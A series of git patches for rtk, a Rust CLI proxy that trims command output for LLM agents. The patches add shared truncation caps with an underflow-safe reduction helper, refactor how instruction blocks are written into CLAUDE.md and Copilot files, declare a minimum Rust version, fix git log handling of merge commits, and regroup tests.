Functionality Place new infrastructure code here if it meets **all** of these criteria: (1) it has no dependencies on command modules or hooks, (2) it is used by two or more other modules, and (3) it provides a general-purpose utility rather than command-specific logic. Follow the existing pattern of lazy-initialized resources (`lazy_static!` for regex, on-demand config loading) to preserve the <10ms startup target. Add `#[cfg(test)] mod tests` with unit tests in the same file. diff --git a/src/core/mod.rs b/src/core/mod.rs index 01317e9425..fe017d910d 100644 --- a/src/core/mod.rs +++ b/src/core/mod.rs @@ -11,4 +11,5 @@ pub mod telemetry; pub mod telemetry_cmd; pub mod toml_filter; pub mod tracking; +pub mod truncate; pub mod utils; diff --git a/src/core/truncate.rs b/src/core/truncate.rs new file mode 100644 index 0000000000..297a108288 --- /dev/null +++ b/src/core/truncate.rs @@ -0,0 +1,4 @@ +pub const CAP_ERRORS: usize = 20; +pub const CAP_WARNINGS: usize = 10; +pub const CAP_LIST: usize = 20; +pub const CAP_INVENTORY: usize = 50; diff --git a/src/parser/formatter.rs b/src/parser/formatter.rs index 225fd6f01c..613be8f9ae 100644 --- a/src/parser/formatter.rs +++ b/src/parser/formatter.rs @@ -1,5 +1,8 @@ /// Token-efficient formatting trait for canonical types use super::types::*; +use crate::core::truncate::CAP_INVENTORY; + +const MAX_DEPS_LISTING: usize = CAP_INVENTORY; /// Output formatting modes #[derive(Debug, Clone, Copy, PartialEq, Eq)] @@ -128,12 +131,15 @@ impl TokenFormatter for DependencyState { if is_listing { let total = self.total_packages.max(self.dependencies.len()); let mut lines = vec![format!("{} packages", total)]; - for dep in self.dependencies.iter().take(50) { + for dep in self.dependencies.iter().take(MAX_DEPS_LISTING) { let dev = if dep.dev_dependency { " (dev)" } else { "" }; lines.push(format!(" {} {}{}", dep.name, dep.current_version, dev)); } - if self.dependencies.len() > 50 { - lines.push(format!(" ... +{} more", self.dependencies.len() - 50)); + if self.dependencies.len() > MAX_DEPS_LISTING { + lines.push(format!( + " ... +{} more", + self.dependencies.len() - MAX_DEPS_LISTING + )); } return lines.join("\n"); } From 35a540c34b93f3fcb224edb98051dbad5264735a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E6=9D=8E=E5=86=A0=E8=BE=B0?= Date: Thu, 21 May 2026 00:01:20 +0800 Subject: [PATCH 115/257] refactor(hooks/init): share write_rtk_block, unify malformed handling Address review feedback on #1976: - Extract write_rtk_block() shared dispatcher: eliminates the duplicated 4-arm RtkBlockUpsert match between run_claude_md_mode and the former upsert_copilot_instructions (now inlined). Both callers stay under the ~60-line guideline. - Unify malformed handling: both paths now bail!() with a diagnostic and the exact recovery command. CLAUDE.md previously warned and exited 0, silently skipping the OpenCode plugin step; behaviour is now consistent. - Reorder run_copilot_at: upsert copilot-instructions.md BEFORE writing the hook config so a malformed file aborts the install without leaving a stale .github/hooks/rtk-rewrite.json on disk. Regression coverage: - test_claude_md_mode_refuses_malformed_block mirrors the existing copilot malformed test against the shared dispatcher contract. - test_copilot_init_malformed_leaves_no_hook_on_disk pins the new write order so a future re-order regression is caught. cargo fmt / clippy --all-targets / test --bin rtk: clean (1909 passed). --- src/hooks/init.rs | 300 ++++++++++++++++++++++++---------------------- 1 file changed, 159 insertions(+), 141 deletions(-) diff --git a/src/hooks/init.rs b/src/hooks/init.rs index 9371ea4e9d..9af21dc575 100644 --- a/src/hooks/init.rs +++ b/src/hooks/init.rs @@ -1482,72 +1482,22 @@ fn run_claude_md_mode(global: bool, install_opencode: bool, ctx: InitContext) -> eprintln!("Writing rtk instructions to: {}", path.display()); } - if path.exists() { - let existing = fs::read_to_string(&path)?; - // upsert_rtk_block handles all 4 cases: add, update, unchanged, malformed - let (new_content, action) = upsert_rtk_block(&existing, RTK_INSTRUCTIONS); - - match action { - RtkBlockUpsert::Added => { - if dry_run { - println!("[dry-run] would add rtk instructions to {}", path.display()); - } else { - fs::write(&path, new_content)?; - println!("[ok] Added rtk instructions to existing {}", path.display()); - } - } - RtkBlockUpsert::Updated => { - if dry_run { - println!( - "[dry-run] would update rtk instructions in {}", - path.display() - ); - } else { - fs::write(&path, new_content)?; - println!("[ok] Updated rtk instructions in {}", path.display()); - } - } - RtkBlockUpsert::Unchanged => { - if !dry_run { - println!( - "[ok] {} already contains up-to-date rtk instructions", - path.display() - ); - } - return Ok(()); - } - RtkBlockUpsert::Malformed => { - eprintln!( - "[warn] Warning: Found '{}' without closing marker in {}", - RTK_BLOCK_START, - path.display() - ); + let recovery_cmd = if global { + "rtk init -g --claude-md" + } else { + "rtk init --claude-md" + }; - if let Some((line_num, _)) = existing - .lines() - .enumerate() - .find(|(_, line)| line.contains(RTK_BLOCK_START)) - { - eprintln!(" Location: line {}", line_num + 1); - } + let action = write_rtk_block( + &path, + RTK_INSTRUCTIONS, + "rtk instructions", + recovery_cmd, + ctx, + )?; - eprintln!(" Action: Manually remove the incomplete block, then re-run:"); - if global { - eprintln!(" rtk init -g --claude-md"); - } else { - eprintln!(" rtk init --claude-md"); - } - return Ok(()); - } - } - } else if dry_run { - println!( - "[dry-run] would create {} with rtk instructions", - path.display() - ); - } else { - fs::write(&path, RTK_INSTRUCTIONS)?; - println!("[ok] Created {} with rtk instructions", path.display()); + if matches!(action, RtkBlockUpsert::Unchanged) { + return Ok(()); } if global { @@ -2416,6 +2366,85 @@ fn upsert_rtk_block(content: &str, block: &str) -> (String, RtkBlockUpsert) { } } +/// Idempotently write an RTK-owned marker block into `path`, preserving user content. +/// +/// Reads the file (if any), passes it through [`upsert_rtk_block`], and writes the +/// result back via [`atomic_write`]. Refuses to modify files containing an opening +/// marker without a matching closing marker (bails with a diagnostic and the exact +/// `recovery_cmd` to re-run after manual cleanup). +/// +/// Returns the [`RtkBlockUpsert`] action so callers can branch on whether anything +/// was actually changed (e.g., to skip post-install steps on `Unchanged`). +/// +/// `label` is shown in user-facing messages (e.g., `"rtk instructions"`, +/// `"Copilot instructions"`). +fn write_rtk_block( + path: &Path, + block: &str, + label: &str, + recovery_cmd: &str, + ctx: InitContext, +) -> Result { + let InitContext { dry_run, .. } = ctx; + + let existing = if path.exists() { + fs::read_to_string(path).with_context(|| format!("Failed to read {}", path.display()))? + } else { + String::new() + }; + + let (new_content, action) = upsert_rtk_block(&existing, block); + + match action { + RtkBlockUpsert::Added => { + if dry_run { + println!("[dry-run] would add {} to {}", label, path.display()); + } else { + atomic_write(path, &new_content) + .with_context(|| format!("Failed to write {}", path.display()))?; + println!("[ok] Added {} to {}", label, path.display()); + } + } + RtkBlockUpsert::Updated => { + if dry_run { + println!("[dry-run] would update {} in {}", label, path.display()); + } else { + atomic_write(path, &new_content) + .with_context(|| format!("Failed to write {}", path.display()))?; + println!("[ok] Updated {} in {}", label, path.display()); + } + } + RtkBlockUpsert::Unchanged => { + if !dry_run { + println!("[ok] {} already up to date in {}", label, path.display()); + } + } + RtkBlockUpsert::Malformed => { + eprintln!( + "[warn] Found '{}' without closing marker in {}", + RTK_BLOCK_START, + path.display() + ); + if let Some((line_num, _)) = existing + .lines() + .enumerate() + .find(|(_, line)| line.contains(RTK_BLOCK_START)) + { + eprintln!(" Location: line {}", line_num + 1); + } + eprintln!(" Action: Manually remove the incomplete block, then re-run:"); + eprintln!(" {recovery_cmd}"); + anyhow::bail!( + "Refusing to modify malformed {} at {}", + label, + path.display() + ); + } + } + + Ok(action) +} + /// Patch CLAUDE.md: add @RTK.md, migrate if old block exists fn patch_claude_md(path: &Path, ctx: InitContext) -> Result { let InitContext { verbose, dry_run } = ctx; @@ -3711,78 +3740,6 @@ rtk proxy # Run raw (no filtering) but track usage "#; -/// Upsert the RTK marker block in `copilot-instructions.md`. -/// -/// Preserves user content outside the ` ... -/// ` markers; only RTK-owned content between the -/// markers is added/updated/left untouched depending on prior state. -/// Refuses to modify malformed files (opening marker without closing). -fn upsert_copilot_instructions(path: &Path, ctx: InitContext) -> Result<()> { - let InitContext { verbose, dry_run } = ctx; - - let existing = if path.exists() { - fs::read_to_string(path).with_context(|| format!("Failed to read {}", path.display()))? - } else { - String::new() - }; - - let (new_content, action) = upsert_rtk_block(&existing, COPILOT_INSTRUCTIONS); - - match action { - RtkBlockUpsert::Added => { - if dry_run { - println!( - "[dry-run] would add Copilot instructions to {}", - path.display() - ); - } else { - atomic_write(path, &new_content) - .with_context(|| format!("Failed to write {}", path.display()))?; - if verbose > 0 { - eprintln!("Added Copilot instructions to {}", path.display()); - } - } - } - RtkBlockUpsert::Updated => { - if dry_run { - println!( - "[dry-run] would update Copilot instructions in {}", - path.display() - ); - } else { - atomic_write(path, &new_content) - .with_context(|| format!("Failed to write {}", path.display()))?; - if verbose > 0 { - eprintln!("Updated Copilot instructions in {}", path.display()); - } - } - } - RtkBlockUpsert::Unchanged => { - if verbose > 0 { - eprintln!( - "Copilot instructions already up to date: {}", - path.display() - ); - } - } - RtkBlockUpsert::Malformed => { - eprintln!( - "[warn] Found '{}' without closing marker in {}", - RTK_BLOCK_START, - path.display() - ); - eprintln!(" Action: Manually remove the incomplete block, then re-run:"); - eprintln!(" rtk init --copilot"); - anyhow::bail!( - "Refusing to modify malformed copilot-instructions.md at {}", - path.display() - ); - } - } - - Ok(()) -} - /// Entry point for `rtk init --copilot`. /// /// Installs in the current working directory's `.github/` subdirectory. @@ -3804,14 +3761,22 @@ fn run_copilot_at(base: &Path, ctx: InitContext) -> Result<()> { .with_context(|| format!("Failed to create {} directory", hooks_dir.display()))?; } - // 1. Write hook config + // 1. Upsert RTK marker block in copilot-instructions.md (preserves user content). + // Done BEFORE writing the hook config so a malformed file aborts the install + // without leaving a stale hook on disk. + let instructions_path = github_dir.join("copilot-instructions.md"); + write_rtk_block( + &instructions_path, + COPILOT_INSTRUCTIONS, + "Copilot instructions", + "rtk init --copilot", + ctx, + )?; + + // 2. Write hook config (only reached if the upsert above succeeded). let hook_path = hooks_dir.join("rtk-rewrite.json"); write_if_changed(&hook_path, COPILOT_HOOK_JSON, "Copilot hook config", ctx)?; - // 2. Upsert RTK marker block in copilot-instructions.md (preserves user content) - let instructions_path = github_dir.join("copilot-instructions.md"); - upsert_copilot_instructions(&instructions_path, ctx)?; - if dry_run { print_dry_run_footer(); } else { @@ -5864,4 +5829,57 @@ mod tests { let after = fs::read_to_string(&instructions_path).unwrap(); assert_eq!(after, malformed, "File must not be modified when malformed"); } + + #[test] + fn test_copilot_init_malformed_leaves_no_hook_on_disk() { + // Regression: a malformed copilot-instructions.md aborted the install + // mid-way, but the hook config had already been written. The upsert + // now runs first, so the hook config must not appear when the upsert + // bails. + let temp = TempDir::new().unwrap(); + let github_dir = temp.path().join(".github"); + fs::create_dir_all(&github_dir).unwrap(); + + let instructions_path = github_dir.join("copilot-instructions.md"); + let malformed = format!("# My rules\n\n{}\nincomplete RTK block\n", RTK_BLOCK_START); + fs::write(&instructions_path, &malformed).unwrap(); + + let hook_path = github_dir.join("hooks").join("rtk-rewrite.json"); + + let result = run_copilot_at(temp.path(), InitContext::default()); + + assert!(result.is_err(), "Malformed file must cause a hard error"); + assert!( + !hook_path.exists(), + "Hook config must not be written when the upsert aborts: {}", + hook_path.display() + ); + } + + #[test] + fn test_claude_md_mode_refuses_malformed_block() { + // Mirrors `test_copilot_init_refuses_malformed_block`: a malformed + // CLAUDE.md previously emitted a warning and exited 0, silently + // skipping the OpenCode plugin step. The shared `write_rtk_block` + // dispatcher now bails for both paths. + let tmp = TempDir::new().unwrap(); + with_claude_dir_override(&tmp, |claude_dir| { + let claude_md = claude_dir.join(CLAUDE_MD); + let malformed = format!( + "# Existing notes\n\n{}\nincomplete RTK block\n", + RTK_BLOCK_START + ); + fs::write(&claude_md, &malformed).unwrap(); + + let result = run_claude_md_mode(true, false, InitContext::default()); + + assert!( + result.is_err(), + "Malformed CLAUDE.md must cause a hard error, not silent skip" + ); + + let after = fs::read_to_string(&claude_md).unwrap(); + assert_eq!(after, malformed, "File must not be modified when malformed"); + }); + } } From 6f4519a183ca43c3f08c855c57b1392f729a67ad Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E6=9D=8E=E5=86=A0=E8=BE=B0?= Date: Thu, 21 May 2026 08:25:59 +0800 Subject: [PATCH 116/257] chore(cargo): declare MSRV via rust-version = "1.91" MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit rtk uses `str::floor_char_boundary()` (src/cmds/system/pipe_cmd.rs:140) which was stabilized in Rust 1.91.0. Without `rust-version` in Cargo.toml, packagers on older toolchains hit a confusing `use of unstable library feature` error from rustc. With this declaration, cargo gives the expected friendly diagnostic up-front: error: rustc 1.88.0 is not supported by the following packages: rtk@0.34.3 requires rustc 1.91 Verified locally by switching toolchains: - cargo +1.88 check → fails with the new clear MSRV error (intended) - cargo +1.93 fmt/clippy/test → 1909 passed, zero warnings Fixes #1402 --- Cargo.toml | 1 + 1 file changed, 1 insertion(+) diff --git a/Cargo.toml b/Cargo.toml index 726a01709c..f06266e631 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -2,6 +2,7 @@ name = "rtk" version = "0.34.3" edition = "2021" +rust-version = "1.91" authors = ["Patrick Szymkowiak"] description = "Rust Token Killer - High-performance CLI proxy to minimize LLM token consumption" license = "MIT" From d5a17315c52487be2d043e0058a4f7d91ec3d2bc Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Thu, 21 May 2026 11:24:16 +0200 Subject: [PATCH 117/257] fix(truncate): global caps reduce (avoid underflow and 0 results) - Avoid underflow + 0 results caused by overwrite of global constant CAPS - Soon user will be able to apply global configuration, this will change global CAPS and should not cause any underflow or 0 results, if overwrite sub >= CAPS -> use CAPS. --- src/cmds/README.md | 2 +- src/cmds/git/gt_cmd.rs | 4 +-- src/cmds/ruby/rspec_cmd.rs | 4 +-- src/cmds/system/deps.rs | 4 +-- src/cmds/system/log_cmd.rs | 4 +-- src/cmds/system/ls.rs | 4 +-- src/core/README.md | 6 +++- src/core/truncate.rs | 60 ++++++++++++++++++++++++++++++++++++++ 8 files changed, 76 insertions(+), 12 deletions(-) diff --git a/src/cmds/README.md b/src/cmds/README.md index d077885678..ad3a6ab77a 100644 --- a/src/cmds/README.md +++ b/src/cmds/README.md @@ -263,7 +263,7 @@ When a filter caps a list at N items (e.g. `take(20)`), the remaining items must | Flat list — one item = one line in the tee | `force_tee_tail_hint(content, slug, MAX + 1)` | PR lists, error lines, file paths — anything where each item is a single-line string | | Multi-line blocks | `force_tee_hint(content, slug)` | Test failures, build error blocks — items that span multiple lines so a line offset is meaningless | -**Cap values come from `src/core/truncate.rs`.** Pick the `CAP_*` matching your data class (`CAP_ERRORS`, `CAP_WARNINGS`, `CAP_LIST`, `CAP_INVENTORY`) and bind it to a local `const MAX_XXX: usize = CAP_Y;`. Derive `take(MAX_XXX)`, `> MAX_XXX`, and the offset `MAX_XXX + 1` from the local. These CAPs will later become the configuration surface for per-filter cap tuning (user-overridable via config) — keep all truncation values routed through them so that hook lands as a single switch rather than a codebase-wide hunt. A filter that genuinely needs to deviate uses a **small additive offset** from a CAP (`CAP_WARNINGS - 5`, `CAP_LIST + 5`) so it still tracks the global when reconfigured — never a bare literal, and never `*`/`/` (those scale unboundedly). Each deviation needs a one-line comment stating why; if there's no real reason, just use the plain CAP. +**Cap values come from `src/core/truncate.rs`.** Pick the `CAP_*` matching your data class (`CAP_ERRORS`, `CAP_WARNINGS`, `CAP_LIST`, `CAP_INVENTORY`) and bind it to a local `const MAX_XXX: usize = CAP_Y;`. Derive `take(MAX_XXX)`, `> MAX_XXX`, and the offset `MAX_XXX + 1` from the local. These CAPs will later become the configuration surface for per-filter cap tuning (user-overridable via config) — keep all truncation values routed through them so that hook lands as a single switch rather than a codebase-wide hunt. A filter that genuinely needs to deviate uses **`truncate::reduced(CAP_Y, n)`** (e.g. `reduced(CAP_WARNINGS, 5)`) so it still tracks the global when reconfigured — never a bare literal, never `cap - n` (underflows once caps are runtime-configurable), and never `*`/`/` (those scale unboundedly). `reduced` falls back to the full cap if the reduction would empty the list. Each deviation needs a one-line comment stating why; if there's no real reason, just use the plain CAP. See `src/core/README.md` ("Truncation Caps") for the full rationale. **The tee content must match what `tail` produces.** For `force_tee_tail_hint`, build the tee from the same formatted values shown in the output — not raw/intermediate data. If the filter reformats items before displaying them, pre-build a `Vec` of formatted lines and use it for both the display loop and the tee. diff --git a/src/cmds/git/gt_cmd.rs b/src/cmds/git/gt_cmd.rs index 17234fe99d..1fb3ee711a 100644 --- a/src/cmds/git/gt_cmd.rs +++ b/src/cmds/git/gt_cmd.rs @@ -2,7 +2,7 @@ use crate::core::stream::exec_capture; use crate::core::tracking; -use crate::core::truncate::CAP_LIST; +use crate::core::truncate::{reduced, CAP_LIST}; use crate::core::utils::{ok_confirmation, resolved_command, strip_ansi, truncate}; use anyhow::{Context, Result}; use lazy_static::lazy_static; @@ -170,7 +170,7 @@ fn passthrough_gt(subcommand: &str, args: &[String], verbose: u8) -> Result } // gt log entries are multi-line — trim the list cap to keep token savings above 60%. -const MAX_LOG_ENTRIES: usize = CAP_LIST - 5; +const MAX_LOG_ENTRIES: usize = reduced(CAP_LIST, 5); fn filter_gt_log_entries(input: &str) -> String { let trimmed = input.trim(); diff --git a/src/cmds/ruby/rspec_cmd.rs b/src/cmds/ruby/rspec_cmd.rs index 46a4bf5639..80fbe1c106 100644 --- a/src/cmds/ruby/rspec_cmd.rs +++ b/src/cmds/ruby/rspec_cmd.rs @@ -6,7 +6,7 @@ //! fails to parse. use crate::core::runner; -use crate::core::truncate::CAP_WARNINGS; +use crate::core::truncate::{reduced, CAP_WARNINGS}; use crate::core::utils::{fallback_tail, ruby_exec, truncate}; use anyhow::Result; use lazy_static::lazy_static; @@ -14,7 +14,7 @@ use regex::Regex; use serde::Deserialize; // rspec failures carry full backtraces — show fewer than a generic warning list. -const MAX_RSPEC_FAILURES: usize = CAP_WARNINGS - 5; +const MAX_RSPEC_FAILURES: usize = reduced(CAP_WARNINGS, 5); // ── Noise-stripping regex patterns ────────────────────────────────────────── diff --git a/src/cmds/system/deps.rs b/src/cmds/system/deps.rs index dd83a87621..3cba21139f 100644 --- a/src/cmds/system/deps.rs +++ b/src/cmds/system/deps.rs @@ -1,7 +1,7 @@ //! Summarizes project dependencies from lock files and manifests. use crate::core::tracking; -use crate::core::truncate::CAP_WARNINGS; +use crate::core::truncate::{reduced, CAP_WARNINGS}; use anyhow::Result; use regex::Regex; use std::fs; @@ -9,7 +9,7 @@ use std::path::Path; const MAX_DEPS: usize = CAP_WARNINGS; // dev deps are secondary to prod — show fewer. -const MAX_DEV_DEPS: usize = CAP_WARNINGS - 5; +const MAX_DEV_DEPS: usize = reduced(CAP_WARNINGS, 5); /// Summarize project dependencies pub fn run(path: &Path, verbose: u8) -> Result<()> { diff --git a/src/cmds/system/log_cmd.rs b/src/cmds/system/log_cmd.rs index 068fcba9e1..7c765f5e6e 100644 --- a/src/cmds/system/log_cmd.rs +++ b/src/cmds/system/log_cmd.rs @@ -1,7 +1,7 @@ //! Deduplicates repeated log lines and shows counts instead. use crate::core::tracking; -use crate::core::truncate::CAP_WARNINGS; +use crate::core::truncate::{reduced, CAP_WARNINGS}; use anyhow::Result; use lazy_static::lazy_static; use regex::Regex; @@ -180,7 +180,7 @@ fn analyze_logs(content: &str) -> String { warn_list.sort_by(|a, b| b.1.cmp(a.1)); // warnings are lower severity than errors — show fewer. - const MAX_LOG_WARNS: usize = CAP_WARNINGS - 5; + const MAX_LOG_WARNS: usize = reduced(CAP_WARNINGS, 5); for (normalized, count) in warn_list.iter().take(MAX_LOG_WARNS) { let original = unique_warnings .iter() diff --git a/src/cmds/system/ls.rs b/src/cmds/system/ls.rs index f24d4bad7b..b96f84876f 100644 --- a/src/cmds/system/ls.rs +++ b/src/cmds/system/ls.rs @@ -2,7 +2,7 @@ use super::constants::NOISE_DIRS; use crate::core::runner::{self, RunOptions}; -use crate::core::truncate::CAP_WARNINGS; +use crate::core::truncate::{reduced, CAP_WARNINGS}; use crate::core::utils::resolved_command; use anyhow::Result; use lazy_static::lazy_static; @@ -254,7 +254,7 @@ fn compact_ls(raw: &str, show_all: bool) -> (String, String, usize) { let mut summary = format!("\nSummary: {} files, {} dirs", files.len(), dirs.len()); if !by_ext.is_empty() { // inline single-line summary — fewer entries to avoid wrapping. - const MAX_EXT_SUMMARY: usize = CAP_WARNINGS - 5; + const MAX_EXT_SUMMARY: usize = reduced(CAP_WARNINGS, 5); let mut ext_counts: Vec<_> = by_ext.iter().collect(); ext_counts.sort_by(|a, b| b.1.cmp(a.1)); let ext_parts: Vec = ext_counts diff --git a/src/core/README.md b/src/core/README.md index ed7e6ae2cc..5d6f8e5ca1 100644 --- a/src/core/README.md +++ b/src/core/README.md @@ -125,7 +125,11 @@ When the truncated output is a **flat list** and the hidden items start at a pre ### Truncation Caps (`truncate`) -`src/core/truncate.rs` defines four global cap policies — `CAP_ERRORS`, `CAP_WARNINGS`, `CAP_LIST`, `CAP_INVENTORY` — for the data classes RTK filters truncate. Each filter binds the right CAP to a local `const MAX_*` so the cap is one named jump away from the call site. These CAPs are the staging point for filter-level cap configuration (planned, not yet implemented): once the config surface lands, overriding `CAP_LIST` in `~/.config/rtk/config.toml` will tune every list filter in one place instead of editing 20+ files. A filter that genuinely needs to deviate uses a small additive offset (`CAP_WARNINGS - 5`) with a one-line reason, so it still moves with the global; bare literals and `*`/`/` scaling are avoided. +`src/core/truncate.rs` defines four global cap policies — `CAP_ERRORS`, `CAP_WARNINGS`, `CAP_LIST`, `CAP_INVENTORY` — for the data classes RTK filters truncate. Each filter binds the right CAP to a local `const MAX_*` so the cap is one named jump away from the call site. These CAPs are the staging point for filter-level cap configuration (planned, not yet implemented): once the config surface lands, overriding `CAP_LIST` in `~/.config/rtk/config.toml` will tune every list filter in one place instead of editing 20+ files. + +**Config policy.** Configured values are accepted as-is, including `0`, which means "summary only" — the filter still prints the count and the `[full output: …]` recovery hint, just no individual items. Caps are never refused and rtk never aborts on them, in keeping with the never-block-the-user fallback philosophy. + +**Deviating from a cap.** A filter whose items are unusually verbose (multi-line entries, backtraces) may show fewer than its class cap. Use `truncate::reduced(cap, by)` rather than a bare `cap - by`: `reduced` returns `cap - by`, except when the reduction would empty the list (`by >= cap`), in which case it drops the deviation and uses the full `cap`. This guarantees a deviation can never hide every item, and — crucially — stays a `usize`-underflow-safe `const fn` once caps become runtime-configurable (a bare `CAP_WARNINGS - 5` would panic or wrap to "no truncation" if a user set `CAP_WARNINGS` below `5`). Never deviate with a bare literal or with `*`/`/` (those scale unboundedly). Each deviation needs a one-line comment stating why. ## Adding New Functionality Place new infrastructure code here if it meets **all** of these criteria: (1) it has no dependencies on command modules or hooks, (2) it is used by two or more other modules, and (3) it provides a general-purpose utility rather than command-specific logic. Follow the existing pattern of lazy-initialized resources (`lazy_static!` for regex, on-demand config loading) to preserve the <10ms startup target. Add `#[cfg(test)] mod tests` with unit tests in the same file. diff --git a/src/core/truncate.rs b/src/core/truncate.rs index 297a108288..c1776cdcbf 100644 --- a/src/core/truncate.rs +++ b/src/core/truncate.rs @@ -1,4 +1,64 @@ +//! Global truncation caps shared by every filter. See `src/core/README.md` +//! ("Truncation Caps") for the cap classes, config policy, and deviation rules. + +/// Errors: most actionable, shown the most. pub const CAP_ERRORS: usize = 20; +/// Warnings and test failures: lower signal density than errors. pub const CAP_WARNINGS: usize = 10; +/// Flat lists (PRs, services, packages): one line per item. pub const CAP_LIST: usize = 20; +/// Inventories (`pip list`, `docker images`): exhaustive lookups. pub const CAP_INVENTORY: usize = 50; + +/// A cap reduced for a verbose data class. Falls back to `cap` when `by >= cap` +/// so a deviation can never empty the list; `0` stays `0`. `const fn`, underflow-safe. +pub const fn reduced(cap: usize, by: usize) -> usize { + if by < cap { + cap - by + } else { + cap + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn reduced_preserves_current_values() { + assert_eq!(reduced(CAP_WARNINGS, 5), 5); + assert_eq!(reduced(CAP_LIST, 5), 15); + } + + #[test] + fn reduced_falls_back_to_cap_when_offset_too_large() { + assert_eq!(reduced(4, 5), 4); + assert_eq!(reduced(5, 5), 5); + } + + #[test] + fn reduced_honors_zero_cap() { + assert_eq!(reduced(0, 5), 0); + } + + // Sweep every plausible (cap, by) a future config could produce and assert + // the invariants that make caps safe: the result never wraps past `cap`, and + // the offset never empties a non-zero cap. `usize::MAX` covers a wraparound bug. + #[test] + fn reduced_is_underflow_safe_across_all_inputs() { + for cap in 0..=64usize { + for by in [0usize, 1, 5, 10, 64, usize::MAX] { + let r = reduced(cap, by); + assert!(r <= cap, "reduced({cap}, {by}) = {r} exceeds cap (wrapped)"); + if cap == 0 { + assert_eq!(r, 0, "zero cap must stay zero"); + } else { + assert!(r >= 1, "reduced({cap}, {by}) = {r} emptied a non-zero cap"); + } + if by < cap { + assert_eq!(r, cap - by, "exact deviation must be preserved"); + } + } + } + } +} From b3adcb18ef762d8652272e2ea68c0f416f33c740 Mon Sep 17 00:00:00 2001 From: okwn Date: Thu, 21 May 2026 10:16:09 +0000 Subject: [PATCH 118/257] fix: honor explicit -n N limit for git log on merge commits When user runs 'git log -1 --format='%H' HEAD' where HEAD is a merge commit, rtk was adding --no-merges which filtered out the merge commit itself and returned the second parent instead. This made 'git log -1' return wrong SHAs for merge commits. Fix: don't add --no-merges when user explicitly passes -n N or --max-count=N. When a user specifies an exact count they expect exactly that many commits, not filtered results. Also skip --no-merges if user already passed --merges or --no-merges explicitly. Fixes rtk-ai/rtk#2009. --- src/cmds/git/git.rs | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/src/cmds/git/git.rs b/src/cmds/git/git.rs index 6f42d20e82..95bba3729a 100644 --- a/src/cmds/git/git.rs +++ b/src/cmds/git/git.rs @@ -522,8 +522,10 @@ fn run_log( // Only add --no-merges if user didn't explicitly request merge commits let wants_merges = args .iter() - .any(|arg| arg == "--merges" || arg == "--min-parents=2"); - if !wants_merges { + .any(|arg| arg == "--merges" || arg == "--min-parents=2" || arg == "--no-merges"); + // Don't add --no-merges if user explicitly requested merges or an exact count (-n N / --max-count) + // When user passes -1 they want 1 commit regardless of whether it's a merge + if !wants_merges && !has_limit_flag { cmd.arg("--no-merges"); } From a6844dc7efcce820560891f8831f1fab56711d2b Mon Sep 17 00:00:00 2001 From: gitbluf Date: Thu, 21 May 2026 13:15:51 +0200 Subject: [PATCH 119/257] chore: regroup agent init tests by agent section --- src/hooks/init.rs | 194 +++++++++++++++++++++++----------------------- 1 file changed, 99 insertions(+), 95 deletions(-) diff --git a/src/hooks/init.rs b/src/hooks/init.rs index dbe6470575..3c4c84e58b 100644 --- a/src/hooks/init.rs +++ b/src/hooks/init.rs @@ -5836,6 +5836,33 @@ mod tests { ); } + #[test] + fn test_claude_md_mode_refuses_malformed_block() { + // Mirrors `test_copilot_init_refuses_malformed_block`: a malformed + // CLAUDE.md previously emitted a warning and exited 0, silently + // skipping the OpenCode plugin step. The shared `write_rtk_block` + // dispatcher now bails for both paths. + let tmp = TempDir::new().unwrap(); + with_claude_dir_override(&tmp, |claude_dir| { + let claude_md = claude_dir.join(CLAUDE_MD); + let malformed = format!( + "# Existing notes\n\n{}\nincomplete RTK block\n", + RTK_BLOCK_START + ); + fs::write(&claude_md, &malformed).unwrap(); + + let result = run_claude_md_mode(true, false, InitContext::default()); + + assert!( + result.is_err(), + "Malformed CLAUDE.md must cause a hard error, not silent skip" + ); + + let after = fs::read_to_string(&claude_md).unwrap(); + assert_eq!(after, malformed, "File must not be modified when malformed"); + }); + } + // ─── Pi integration tests ─────────────────────────────────────────── #[test] @@ -6015,6 +6042,78 @@ mod tests { !tmp.path().join(".pi").join(PI_EXTENSIONS_SUBDIR).exists(), "dry-run must not create .pi/extensions/" ); + } + + #[test] + fn test_pi_global_uninstall_dry_run_keeps_plugin() { + let tmp = TempDir::new().unwrap(); + with_pi_dir_override(&tmp, |pi_dir| { + run_pi_mode(true, InitContext::default()).unwrap(); + let plugin = pi_dir.join(PI_EXTENSIONS_SUBDIR).join(PI_PLUGIN_FILE); + assert!( + plugin.exists(), + "plugin must exist before uninstall dry-run" + ); + + uninstall( + true, + false, + false, + false, + true, + InitContext { + verbose: 0, + dry_run: true, + }, + ) + .unwrap(); + + assert!( + plugin.exists(), + "dry-run uninstall must not remove the Pi extension" + ); + }); + } + + #[test] + fn test_pi_local_uninstall_dry_run_keeps_plugin() { + let tmp = TempDir::new().unwrap(); + let _cwd_guard = CWD_LOCK.lock().unwrap_or_else(|e| e.into_inner()); + let cwd = std::env::current_dir().unwrap(); + std::env::set_current_dir(tmp.path()).unwrap(); + + run_pi_mode(false, InitContext::default()).unwrap(); + let plugin = tmp + .path() + .join(".pi") + .join(PI_EXTENSIONS_SUBDIR) + .join(PI_PLUGIN_FILE); + assert!( + plugin.exists(), + "plugin must exist before uninstall dry-run" + ); + + let result = uninstall( + false, + false, + false, + false, + true, + InitContext { + verbose: 0, + dry_run: true, + }, + ); + std::env::set_current_dir(&cwd).unwrap(); + result.unwrap(); + + assert!( + plugin.exists(), + "dry-run uninstall must not remove the local Pi extension" + ); + } + + // ─── Copilot tests ─────────────────────────────────────────────── #[test] fn test_copilot_init_preserves_existing_instructions() { @@ -6192,99 +6291,4 @@ mod tests { hook_path.display() ); } - - #[test] - fn test_pi_global_uninstall_dry_run_keeps_plugin() { - let tmp = TempDir::new().unwrap(); - with_pi_dir_override(&tmp, |pi_dir| { - run_pi_mode(true, InitContext::default()).unwrap(); - let plugin = pi_dir.join(PI_EXTENSIONS_SUBDIR).join(PI_PLUGIN_FILE); - assert!( - plugin.exists(), - "plugin must exist before uninstall dry-run" - ); - - uninstall( - true, - false, - false, - false, - true, - InitContext { - verbose: 0, - dry_run: true, - }, - ) - .unwrap(); - - assert!( - 